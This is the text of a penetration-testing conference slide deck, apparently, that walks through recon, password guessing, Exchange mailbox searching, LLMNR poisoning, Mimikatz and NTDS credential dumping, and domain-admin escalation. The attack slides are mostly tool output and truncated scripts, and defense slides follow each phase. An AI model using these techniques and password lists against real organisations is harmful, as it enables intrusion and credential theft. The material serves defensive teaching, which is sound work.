COUCH to COMPROMISE

How to Pwn a Large Enterprise like a Real Malicious Attacker

By Johnny Xmas - linktr.ee/johnnyxmas

GRIMM
grimm.rip

JOHNNY XMAS

GRIMM.rip

Sr. Security Researcher & Sr. Trainer

SMFS, Inc. d/b/a/ GRIMM

JohnnyXmas@grimm.rip

PREVIOUS PROFESSIONAL ROLES:

- Network Engineer
- Systems Engineer
- Information Security Engineer
- Information Security Consultant
- Penetration Tester
- OT Researcher
- Blade Runner (Bot Killer)

LINKS:

- https://grimm.rip
- https://github.com/johnnyxmas
- https://linktr.ee/johnnyxmas

Why. Am. I. Here?

Your Security Posture is Bad and you Should Feel Bad.

You Made Being a Pentester **BORING.**

@J0hnnyXm4s - johnny at johnny xmas dot net

How Does A <u>Defender</u> Fix This?

@J0hnnyXm4s - johnny at johnny xmas dot net

Learn how the attackers operate, and develop "defense-in-depth," starting with this low-hanging fruit

Intelligence Gathering
Post-Exploitation
PENETRATION
TESTING
EXECUTION
STANDARD
http://www.pentest-standard.org/
Exploitation

FIRST & FOREMOST

// Intelligent ATTACKERS
LIVE OFF THE LAND

RECON

RE CON NAIS SANCE

ARIN.NET

Network	
Net Range	
CIDR	161.225.0.0/16
Name	TARGETNET
Handle	NET-161-225-0-0-1
Parent	NET161 (NET-161-0-0-0-0)
Net Type	Direct Assignment
Origin AS	
Organization	Target Corporation (TARGET-14)

kevin.kirby@cityofchicago.org

https://whois.arin.net/rest/poc/KIRBY37-ARIN

```
$ dig +short target.com
161.225.203.239
```

RE CON NAIS SANCE

SCANNON

```
else
    #Consolidate IPs and open ports for each IP, then write to a file because files are handy:
    awk '/open/ {print $4,$3,$2,$1}' ./results/$DIRNAME/masscan-output.txt |  awk '
            /.+/{
                if (!($1 in Val)) { Key[++i] = $1; }
                Val[$1] = Val[$1] $2 ",";
                }
        END{
            for (j = 1; j <= i; j++) {
             printf("%s:%s\n%s",  Key[j], Val[Key[j]], (j == i) ? "" : "\n");
            }
        }' | sed 's/,$//' > ./results/$DIRNAME/discovered_hosts.txt

    #Run in-depth nmap enumeration against discovered hosts & ports:
    for TARGET in $(cat ./results/$DIRNAME/discovered_hosts.txt); do
            IP=$(echo $TARGET | awk -F: '{print $1}');
            PORT=$(echo $TARGET | awk -F: '{print $2}');
            FILENAME=$(echo $IP | awk '{print "nmap_"$1}')
            nmap -vv -sV --version-intensity 5 -sT -O --max-rate 15000 -Pn -T3 -p $PORT -oA ./
            #Blind UDP nmap scan of common ports, as masscan does not support UDP
            nmap -vv -sV --version-intensity 5 -sU -O --max-rate 15000 -Pn -T3 -p 53,161,500 -
    done

    #Generate lists of potential bruteforce / interesting hosts
    mkdir -p ./results/$DIRNAME/bruteforce_hosts
    for PORT in 21 22 23 139 445 500 1701 1723 3306 3389 5060 27107; do
    GREPHOSTS=$(egrep "\D$PORT\D|$PORT$" ./results/$DIRNAME/discovered_hosts.txt | cut -d ":"
    if [ ! -z "$GREPHOSTS" ]
    then
      echo $GREPHOSTS > ./results/$DIRNAME/bruteforce_hosts/"$PORT"_bfhosts.txt
    fi
    done

    #Generate list of discovered sub/domains for this subnet
    for TLD in `cat ./all_tlds.txt`; do
                cat ./results/$DIRNAME/*.gnmap | egrep -i $TLD | awk -F[\(\)] '{print $2}' | s
    done
    echo "Root Domain,IP,CIDR,AS#,IP Owner" > ./results/$DIRNAME/resolved_root_domains.csv
    for DOMAIN in `cat ./results/$DIRNAME/resolved_subdomains.txt | awk -F. '{ print $(NF-1)".
        DIG=$(dig $DOMAIN +short);
        WHOIS=$(whois $DIG | awk -F':[ ]*' '
            /CIDR:/ { cidr = $2 };
            /Organization:/ { org = $2};
```

RE CON NAIS SANCE

AD LOGINS

RE CON NAIS SANCE

DOX

RE
CON
NAIS
SANCE

HUNTER.IO

google.com

Find email address

Most common pattern: {f}{last}@google.com

13,999 email addr

d ane@google.com

20+ sour

e hmidt@google.com

20+ sour

r eenwalt@google.com

20+ sour

n saulniers@google.com

14 sour

j f@google.com

20+ sour

13,994 more results for "google.com"

Sign up to uncover the email addresses, get the full results, search filters, CSV downloads and more. Get **100 free searches/month**.

Create a free account

RE CON NAIS SANCE

ARIN.NET

+1-312-744-2502 (Office)

kevin.kirby@cityofchicago.org

https://whois.arin.net/rest/poc/KIRBY37-ARIN

```
~ 20:14:14
$ dig +short  cityofchicago.org
167.165.233.44
```

RECON DEFENSE

// Port \ Service Scans

- IDS\IPS & Other Edge Monitoring
- Find it first!
  - Know your assets!
  - Google \ Shodan \ FOCA yourself
- Write alerts for what you can't clean

// Private Data Gone Public

- Find it first!
  - Recon-NG Yourself!
  - Pastebin alerts!
  - Have Legal Issue Takedowns
  - Defense in Depth

EXPLOITATION

COMMON PASSWORDS

Crap

Spring2021
Summer2021
Fall2021
Spring21
Summer21
Fall21
Spring21!
Summer21!
Fall21!

More Crap

Password
Password1
Password!
Password1!
Password2021
Password21
Password21!

Other Crap

F**k{companyname}

{CompanyActivity} (CEWL)

+(20)21+!

@J0hnnyXm4s - johnny at johnny xmas dot net

EX PLOI TA TION

BURPSUITE

EX PLOI TA TION

MAILSNIPER

```
C:\temp>powershell.exe -exec bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\temp> Import-Module .\MailSniper.ps1
PS C:\temp> Invoke-GlobalMailSearch -ImpersonationAccount vladi -ExchHostname NA
NO-EXCH1 -OutputCsv global-email-search.csv

[*] Trying Exchange version Exchange2010
[*] Enter Exchange admin credentials to add your user to the impersonation role

cmdlet Get-Credential at command pipeline position 1
Supply values for the following parameters:
Credential
[*] Attempting to establish a PowerShell session to http://NANO-EXCH1/PowerShel
l with provided credentials.
[*] Now granting the vladi user ApplicationImpersonation rights!
[*] The total number of mailboxes discovered is:  9
[*] Using EWS URL https://NANO-EXCH1/EWS/Exchange.asmx

[*] Now connecting to EWS to search the mailboxes!

[1/9] Using vladi to impersonate ITAdmin@nanobotninjas.com
[2/9] Using vladi to impersonate itadmin@nano.bots
[3/9] Using vladi to impersonate VladI@nanobotninjas.com
[4/9] Using vladi to impersonate CaptainV@nanobotninjas.com
[5/9] Using vladi to impersonate M@nanobotninjas.com
[6/9] Using vladi to impersonate DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-
7E09
334BB852}@nano.bots
[7/9] Using vladi to impersonate BamaS@nanobotninjas.com
[8/9] Using vladi to impersonate CarlT@nanobotninjas.com
[9/9] Using vladi to impersonate AndresG@nanobotninjas.com

[*] Results have been output to global-email-search.csv

[*] Removing ApplicationImpersonation role from vladi.

C:\temp>
```

```
[*] First tr
[*] This met millian.veers@galacticempireinc.com is readable.
[*] Using ht lt set to: Reviewer
[*] Logging mous set to: Custom
[*] OWA Logi
[*] Retrievi inbox: RE: SECRET HOTH BASE INFO
[*] Successf .eclipse@galacticempireinc.com is readable.
KbayjiU.
[*] Retrievi lt set to: None
[*] Global A mous set to: None
[*] Now util inbox: Deathstar Plans
[*] Now cleaning up the list...
Admiral.Motti@galacticempireinc.com
Admiral.Piett@galacticempireinc.com
Boba.Fett@galacticempireinc.com
Bodhi.Rook@galacticempireinc.com
Bossk@galacticempireinc.com
Darth.Vader@galacticempireinc.com
Emperor.Palpatine@galacticempireinc.com
fn-0395@galacticempireinc.com
fn-0909@galacticempireinc.com
fn-1234@galacticempireinc.com
fn-2187@galacticempireinc.com
fn-6606@galacticempireinc.com
```

Inbox of a different user

"Default" permission for Inbox set to "Reviewer"

Current user's Inbox

O365 Workaround!
https://illusive.com/blog/threat-research-blog/mailsniper-you-can-teach-an-old-dog-new-tricks-pwn-o365-based-organizations-by-leveraging-prt-based-sso/

EX PLOI TA TION

FIERCEPHISH

EX PLOI TATION

TOP 10 VULNS

- CVE-2017-11882
- CVE-2017-0199
- CVE-2017-5638
- CVE-2012-0158
- CVE-2019-0604
- CVE-2017-0143
- CVE-2018-4878
- CVE-2017-8759
- CVE-2015-1641
- CVE-2018-7600

EXPLOIT DEFENSE

// Phishing

- GOOD Awareness training
  - Phish Yourself
- Make users take ownership
  - Offer pos. and neg. reinforcement
  - Does HR enforce your AUP?

// Bruteforcing / Guessing

- MFA Solution
- Lockdown EWS queries
- Alert / throttle on anomalous traffic volumes

EXPLOIT DEFENSE

// Password Bias \ Reuse

- Awareness training!
  - Use whole sentences
  - No dictionary words in short PWs
  - No patterns!
  - No U=P !
  - > 14 characters+
  - ENFORCE THIS.
  - AUDIT YOUR HASHES
    - Check for dupes
  - MFA
  - Stop using passwords

POST EXPLOITATION

POST EX PLOI TATION

EDR PROCESS INJECTION

```
C:\Users\User\Desktop>ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\c.txt" /f:c

[+] Process running with WINDEV1811EVAL\User privileges with MEDIUM / LOW integrity.
[+] Obtaining the handle for the process id 6344.
[+] Handle 688 opened for the process id 6344.
[+] Allocating memory to inject the shellcode.
[+] Memory for injecting shellcode allocated at 0x2103478255616.
[+] Writing the shellcode at the allocated memory location.
[+] Shellcode written in the process memory.
[+] Creating remote thread to execute the shellcode.
[+] Sucessfully injected the shellcode into the memory of the process id 6344.

C:\Users\User\Desktop>
```

POST EX PLOITATION

RESPONDER

```
[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.210.145]
    Challenge set              [1122334455667788]


[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 192.168.210.135 for name WIN-0CB6GNL918D
[*] [LLMNR]  Poisoned answer sent to 192.168.210.135 for name SNARE01
[SMB] NTLMv2-SSP Client   : 192.168.210.135
[SMB] NTLMv2-SSP Username : WIN-0CB6GNL918D\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::WIN-0CB6GNL918D:1122334455667788:A09FACB176A7E2CB7AFF39A257C95E3F:01
00000000000070A2DC070884D20144D618232AF194C30000000002000A0053004D0042003100320001000A0053004D0042003100320004
A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000
3000009CE15F20343FB73E4310F001BF4D51F5468D0ADD185541591DA2A90ADC11079F0A001000000000000000000000000000000000
018006300690066007300 2F0053004E004100520045003000310000000000000000
[SMB] Requested Share     : \\SNARE01\IPC$
[*] [LLMNR]  Poisoned answer sent to 192.168.210.135 for name SNARE01
[*] Skipping previously captured hash for WIN-0CB6GNL918D\Administrator
[SMB] Requested Share     : \\SNARE01\IPC$
[+] Exiting...
```

```
Hostname is : WIN-2BQB5MRJGGF
Complete hash is :  Administrator::WIN-2BQB5MRJGGF:1122334455667788:91B70158E71178A0EAF4B5EFFDEC3D24:0101000000
BC559600000000020006005 3004D0042000100160053004D0042002D0054004F004F004C004B0049005400040012007 3006D0062002E006
500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C00050012007 3006D0062002E006C006F006300
0000000003000000BCF2B2F59ED2CB090C36057EE403B6E10BF5ADCC744F0FE0CBA12945E329BC50A001000000000000000000000000000
02F007700700061006400770070006100640077007000610064000000000000000000
[+]HTTP NTLMv2 hash captured from : 192.168.2.17
Domain is :  WIN-2BQB5MRJGGF
User is : Administrator
Hostname is : WIN-2BQB5MRJGGF
Complete hash is :  Administrator::WIN-2BQB5MRJGGF:1122334455667788:91B70158E71178A0EAF4B5EFFDEC3D24:0101000000
BC559600000000020006005 3004D0042000100160053004D0042002D0054004F004F004C004B0049005400040012007 3006D0062002E006
500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C00050012007 3006D0062002E006C006F006300
0000000003000000BCF2B2F59ED2CB090C36057EE403B6E10BF5ADCC744F0FE0CBA12945E329BC50A001000000000000000000000000000
02F007700700061006400770070006100640077007000610064000000000000000000
[+]HTTP Proxy sent from: 192.168.2.17 The requested URL was: http://books.google.com/books/css/_4c07f7b05041ea1
le.css
[+]HTTP Cookie Header sent from: 192.168.2.17 The Cookie is:
Cookie: PREF=ID=3bc54e42f1c978a7:U=23f1099aa27e9898:FF=0:TM=1360175299:LM=1360711541:S=zytyr3TeGDxZdIWf; NID=67
vx3ivkeL3Kw5d09itv-P8WbpFkQMqYtxxuTfUZCkn1nYZCzLXfF0qQVwLEMhqDBQHC6ddbBSBCLHGVuXlJcsks3vOW_YsfjBi
[+]HTTP NTLMv2 hash captured from : 192.168.2.17
Domain is :  WIN-2BQB5MRJGGF
User is : Administrator
Hostname is : WIN-2BQB5MRJGGF
Complete hash is :  Administrator::WIN-2BQB5MRJGGF:1122334455667788:3100C1E16D1EFC852A2BD870FB25952B:0101000000
BA29B000000000020006005 3004D0042000100160053004D0042002D0054004F004F004C004B0049005400040012007 3006D0062002E006
500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C00050012007 3006D0062002E006C006F006300
0000000003000000BCF2B2F59ED2CB090C36057EE403B6E10BF5ADCC744F0FE0CBA12945E329BC50A001000000000000000000000000000
02F007700700061006400770070006100640077007000610064000000000000000000
[+]HTTP Proxy sent from: 192.168.2.17 The requested URL was: http://books.google.com/books/fp_4c07f7b05041ea173
[+]HTTP Cookie Header sent from: 192.168.2.17 The Cookie is:
Cookie: PREF=ID=3bc54e42f1c978a7:U=23f1099aa27e9898:FF=0:TM=1360175299:LM=1360711541:S=zytyr3TeGDxZdIWf; NID=67
vx3ivkeL3Kw5d09itv-P8WbpFkQMqYtxxuTfUZCkn1nYZCzLXfF0qQVwLEMhqDBQHC6ddbBSBCLHGVuXlJcsks3vOW_YsfjBi
```

POST EX PLOI TATION

SMB & WMI

```
RID_ENUM

Written by: David Kennedy (ReL1K)
Company: https://www.trustedsec.com
Twitter: @TrustedSec
Twitter: @HackingDave

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through
null sessions and the SID to RID enum. If you specify a password file, it will
automatically attempt to brute force the user accounts when its finished enumerating.

- RID_ENUM is open source and uses all standard python libraries minus python-pexpect. -

You can also specify an already dumped username file, it needs to be in the DOMAINNAME\USE
RNAME
format.

Example: ./rid_enum.py 192.168.1.50 500 50000 /root/dict.txt

Usage: ./rid_enum.py <server_ip> <start_rid> <end_rid> <optional_password_file> <optional_
username_filename>
```

```
chael -p P@ssword -M mimikatz
2016 Standard 14393 x64 (name:

rprise 10586 x64 (name:JEFFLAB

2016 Standard 14393 x64 (name:

:P@ssword (Pwn3d!)
:P@ssword (Pwn3d!)
:P@ssword (Pwn3d!)
er
er
er
e-Mimikatz.ps1 HTTP/1.1" 200 -
e-Mimikatz.ps1 HTTP/1.1" 200 -
e-Mimikatz.ps1 HTTP/1.1" 200 -
st(s)
IMIKATZ    192.168.12.131    [*] - - "POST / HTTP/1.1" 200 -
IMIKATZ    192.168.12.131    JEFFLAB\Jeff:d4dad8b9f8ccb87f6d6d02d7388157ea
IMIKATZ    192.168.12.131    JEFFLAB\JEFFLAB-PC01$:9ef87ed2123f94d32044573c553
IMIKATZ    192.168.12.131    JEFFLAB\StanSitwell:13b29964cc2480b4ef454c59562e6
IMIKATZ    192.168.12.131    JEFFLAB\SteveHolt:d4dad8b9f8ccb87f6d6d02d7388157e
IMIKATZ    192.168.12.131    JEFFLAB\Gene.Parmesan:13b29964cc2480b4ef454c59562
IMIKATZ    192.168.12.131    JEFFLAB\Michael:13b29964cc2480b4ef454c59562e675c
IMIKATZ    192.168.12.131    [+] Added 6 credential(s) to the database
IMIKATZ    192.168.12.131    [*] Saved raw Mimikatz output to Mimikatz-192.168
07-24_113916.log
IMIKATZ    192.168.12.211    [*] - - "POST / HTTP/1.1" 200 -
IMIKA
IMIKA
IMIKA
```

```
RAWEC

A swiss army knife for pentesting networks
Forged by @byt3bl33d3r using the powah of dank memes

Version: 4.0.1dev
Codename: Bug Pr0n

root@ptional arguments:
10-09-2016 16:17:25 SMB 192.168.100.100:445 DC1 [*] Windows 6.3 Build 9600 (name:DC1) (domain:insecure.com
10-09-2016 16:17:25 SMB 192.168.100.100:445 DC1 [+] Login successful insecure.com\pc:P@ssw0rd1
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 [+] Dumping NTDS.cit secrets using the DRSUAPI method (dom
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf7
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a3285d68f94ae
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\pc:1104:aad3b435b51404eeaad3b435b51404ee:ae97
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimone:1106:aad3b435b51404eeaad3b435b51404
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimtwo:1107:aad3b435b51404eeaad3b435b51404
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimthree:1108:aad3b435b51404eeaad3b435b514
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimfour:1109:aad3b435b51404eeaad3b435b5140
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 DC1$:1001:aad3b435b51404eeaad3b435b51404ee:d9f9acf6762223e
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 VICTIM1$:1105:aad3b435b51404eeaad3b435b51404ee:f76417022ce
```

POST EX PLOI TATION

MIMIKATZ

```
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username
Account Type
User Account Control
Account expiration
Password last change
Object Security ID
Object Relative ID

Credentials:
  Hash NTLM: 96ae239a
    ntlm- 0: 96ae239a
    ntlm- 1: 5164b7a0
    ntlm- 2: 7c08d63a
    lm  - 0: 6cfd3c1b
    lm  - 1: d1726cc0

Supplemental Credenti
* Primary:Kerberos-Ne
    Default Salt : RD
    Default Iteration
    Credentials
      aes256_hmac
      aes128_hmac
      des_cbc_md5
      rc4_plain
    OldCredentials
      aes256_hmac
      aes128_hmac
      des_cbc_md5
      rc4_plain
```

```
(Empire: RFVCVGXLMDZCFPU3) > mimikatz
(Empire: RFVCVGXLMDZCFPU3) >
Job started: Updater32_ipue2

Hostname: WINDOWS2.lab.local / -
  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 23 2015 03:25:04)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */


mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 787553 (00000000:000c0461)
Session           : Interactive from 0
User Name         : justin
Domain            : LAB
Logon Server      : LABDC
Logon Time        : 7/29/2015 10:11:04 AM
SID               : S-1-5-21-1099725566-223127814-2387084846-1109
        msv :
         [00000003] Primary
         * Username : justin
         * Domain   : LAB
         * NTLM     : 780f30085fa9cd3f9d98030a57138dd0
         * SHA1     : 8e4ff45cbf381a543ba0905c268392c6af5d95d0
         [00010000] CredentialKeys
         * NTLM     : 780f30085fa9cd3f9d98030a57138dd0
         * SHA1     : 8e4ff45cbf381a543ba0905c268392c6af5d95d0
        tspkg :
        wdigest :
         * Username : justin
         * Domain   : LAB
         * Password : !J1234567890
```

```
meterpreter > ms
[+] Running as S
[*] Retrieving m
[*] msv credenti
===============

AuthID     Package    Domain           User             Password
------     -------    ------           ----             --------
0;1035282  NTLM       WIN-LOANLOTDQLU  Ralf             lm{ 000000000000000000
0000000000000 }, ntlm{ 2e520e18228ad8ea4060017234af43b2 }
0;1035232  NTLM       WIN-LOANLOTDQLU  Ralf             lm{ 000000000000000000
0000000000000 }, ntlm{ 2e520e18228ad8ea4060017234af43b2 }
0;669397   NTLM       WIN-LOANLOTDQLU  Fred             lm{ aad3b435b51404eeaad
3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;669366   NTLM       WIN-LOANLOTDQLU  Fred             lm{ aad3b435b51404eeaad
3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997      Negotiate  NT AUTHORITY     LOCAL SERVICE    n.s. (Credentials KO)
0;996      Negotiate  WORKGROUP        WIN-LOANLOTDQLU$ n.s. (Credentials KO)
0;42061    NTLM                                         n.s. (Credentials KO)
0;999      NTLM       WORKGROUP        WIN-LOANLOTDQLU$ n.s. (Credentials KO)

meterpreter >
```

POST EX PLOI TATION

BLOODHOUND

POST EX PLOI TATION

EMPIRE\DEATHSTAR

POST EX PLOI TATION

CPO ADCS + PETIT POTAM

```
Version: v1.0.3 (9dad6e1) - 08/17/21 - Ronnie Flathers @ropnop
```

```
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
```

```
v1.6.4

*] Action: Ask TGT

*] Using PKINIT with etype rc4_hmac and subject: CN=DC02[redacted].local
*] Building AS-REQ (w/ PKINIT preauth) for:[redacted].local\dc02$'
+] TGT request successful!
*] base64(ticket.kirbi):
```

HOORAY!
YOU'RE A DA!

```
[+] Agent: S4TK136D => Found 2 users logged into localhost: ['LAB\\g0d', 'LAB\
[+] Agent: S4TK136D => Found Domain Admin logged in: LAB\g0d
[+] Agent: S4TK136D => Enumerated 1 processes
[+] Agent: S4TK136D => Found process 1524 running under LAB\yomama4
[+] Agent: S4TK136D => PSInjecting into process 1524
[+] New Agent => Name: ADUXGMHZ IP: 192.168.10.21 HostName: WIN7 UserName: LAB\
[+] Agent: S4TK136D => Executed Mimikatz

[+] Got Domain Admin via credentials! => Username: LAB\g0d Password: P@ssw0rd

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

POST EX PLOI TATION

RANSOMWARE

POST-EXPLOIT DEFENSE

// Responder

- Disable WPAD, LLMNR, NBT-NS & mDNS
- Roll out SMB signing
- “Cyber Deception”

// CME

- DON’T USE NULL SESSIONS
- Alert on mass connections/logins (failed AND successful)
- Stop giving everyone and their dog Local Admin privs

POST-EXPLOIT DEFENSE

// Bloodhound

- RUN IT FIRST!
- Alert on anomalous traffic volume to a single DC (syslog, not EDR)
- Set query limit on the DC (DANGER)

// Mimikatz

- Most EDR blocks this
- Alert on “lsass.dmp” file creation
- Stop giving everyone and their dog Local Admin privs

POST-EXPLOIT DEFENSE

// Rampant Local Admin

- Grow a spine
- Admin account should not be the “daily driver”
- Use granular rules to only allow certain tasks to “Run as Admin”
- Use IAM vaults such as CyberArk to “check out” admin rights
- ALERT

POST-EXPLOIT DEFENSE

// DA Account Availability

- Alert on EVERY DA login
- CRIT Alert on DA Account Creation
- DA account should not be a “daily driver”
- Use IAM vaults such as CyberArk to “check out” admin rights & unlock DA accounts

APPENDIX: TOOLS OF NOTE

- ScanCannon
  https://github.com/johnnyxmas/ScanCannon
- Evil Foca
  https://www.elevenpaths.com/labstools/evil-foca/index.html
- MailSniper
  https://github.com/dafthack/MailSniper
- IkeForce
  https://github.com/SpiderLabs/ikeforce
- Shodan
  https://www.shodan.io/
- Recon-ng
  https://bitbucket.org/LaNMaSteR53/recon-ng
- Burp Suite
  https://portswigger.net/burp/freedownload
- Metasploit
  https://www.metasploit.com/
- Hydra
  https://www.thc.org/thc-hydra/
- TheHarvester
  https://github.com/laramies/theHarvester
- FiercePhish
  https://github.com/Raikia/FiercePhish
- CrackMapExec
  https://github.com/byt3bl33d3r/CrackMapExec

APPENDIX: TOOLS OF NOTE (cont.)

- Rid_enum
  https://github.com/trustedsec/ridenum
- Powershell Empire
  https://www.powershellempire.com/
- SpoofSpotter
  https://github.com/NetSPI/SpoofSpotter
- Cewl
  https://digi.ninja/projects/cewl.php
- Bloodhound
  https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started
- Deathstar
  https://github.com/byt3bl33d3r/DeathStar/blob/master/DeathStar.py
- CyberArk
  https://www.cyberark.com/
- Responder
  https://github.com/lgandx/Responder
- Mimikatz
  https://github.com/gentilkiwi/mimikatz/releases
- DuoSec (MFA)
  https://duo.com/pricing/duo-mfa
- Petit Potam PoC
  https://threat.tevora.com/petitpotam-the-full-attack-chain-with-windows-and-linux/

FIN

grimm.rip

JOHNNY XMAS

SECURITY RESEARCHER

@GrimmCyber

@J0hnnyXm4s

By Johnny Xmas - linktr.ee/johnnyxmas

@J0hnnyXm4s - johnny at johnny xmas dot net